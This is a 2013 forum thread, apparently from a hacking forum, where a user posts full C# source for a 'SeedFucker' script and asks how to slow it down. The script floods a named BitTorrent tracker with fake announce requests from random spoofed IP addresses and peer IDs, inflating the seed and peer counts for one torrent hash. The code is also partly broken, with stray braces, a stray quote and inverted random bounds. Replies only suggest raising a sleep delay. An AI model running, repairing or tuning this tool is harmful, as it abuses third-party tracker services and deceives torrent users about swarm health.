Thread: [Need HF help for editing C# spoofing script.](#)

damadjan_racing - September 21, 2013, 11:42 pm

Hello I have been watching this forum from some weeks. Its pretty awesome so I decided to register. Enough BS. I have a SeedFucker script. Its working like a charm BUT its working way too fast. For like 30-40 seconds its making like 800/1400 Seed/Peer and I dont want so much
Script is written on C# I think

```
Code using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Threading;
```

```
namespace SeedFucker
```

```
{
    class Program
    {
        static void Main(string[] args)
        {
            // create a thread pool with 5 threads
            List<Thread> tp = new List<Thread>();
            for (int i = 0; i < 5; i++)
            {
                tp.Add(new Thread(TorrentThread));
                tp[i].Start();
                Thread.Sleep(10);
            }
            while (true)
            {
                Thread.Sleep(50);
            }
        }
    }
}
```

```
static void TorrentThread()
{
    // create a web client with a "no cache" policy
    WebClient wc = new WebClient();
    wc.CachePolicy = new
```

```
System.Net.Cache.RequestCachePolicy(System.Net.Cache.RequestCacheLevel.BypassCache);
```

```
// the infohash of the torrent we want to poison
string hash = "6D14D5D9FD0C5181C84473D3D3A98D469C20BA1B";
```

```
// encode the hash
string hashEncoded = "";
for (int i = 0; i < 20; i++)
{
```

```

hashEncoded += "%" + hash[i * 2] + hash[(i * 2) + 1];
}

// enter the main loop
while (true)
{
    // generate a random IP address
    string ip = GenerateIP();
    // create a timestamp for display purposes
    string time = "[" + DateTime.Now.Hour.ToString().PadLeft(2, '0') + ":" +
DateTime.Now.Minute.ToString().PadLeft(2, '0') + ":" + DateTime.Now.Second.ToString().PadLeft(2,
'0') + "]" ";

    // if completed == true then we're pretending to be a seed. otherwise pretend to be a peer
    bool completed = (RNG.Next(0, 3) == 0);
    string torrentEvent = (completed ? "completed" : "started");
    // pick a random size
    int left = (completed ? 0 : RNG.Next(1024 * 1024 * 2, 1024 * 1024 * 1024));
    // create the url - change the announce url to whatever your particular torrent is using
    string url = "http://announce.torrentsmd.com:6969/announce?info_hash=" + hashEncoded +
"&peer_id=" + RNG.Next(100, 99).ToString() + RNG.Next(100, 99).ToString() + RNG.Next(100,
99).ToString() + "&port=" + RNG.Next(5000, 32000).ToString() +
"&uploaded=0&downloaded=0&left=" + left.ToString() + "&event=" + torrentEvent +
"&numwant=5&ip=" + ip;
    // attempt the announce
    try
    {
        wc.DownloadData(url);
        Console.WriteLine(time + "Sent tracker request: " + (completed ? "Seed" : "Peer") + " [" + ip +
"]");
    }
    catch
    {
    }
}

static string GenerateIP()
{
    // generate an IP in the range [50-220].[10-100].[1-255].[1-255]
    return RNG.Next(50, 220).ToString() + "." + RNG.Next(10, 100).ToString() + "." + RNG.Next(1,
255).ToString() + "." + RNG.Next(1, 255).ToString();
}

class RNG
{
    private static Random _rng = new Random();

    public static int Next(int min, int max)
    {
        return _rng.Next(min, max);
    }
}

```

```
}  
}
```

Goodies - September 21, 2013, 11:43 pm

There is actually a C# section.

Please surround the code in either [code] tags or [php] tags.

(Sep 21, 2013 11:43 PM)Goodies Wrote: [\[CITE\]](#) There is actually a C# section.

Please surround the code in either [code] tags or [php] tags. Excuse me Goodies I didn't notice there is C# coding section. I have put code tags.

Bump someone. Need this very much.

Thanks in advance

I don't know C# but I think that you can change Thread.Sleep(10); to something bigger. If you don't get answer then try to experiment yourself
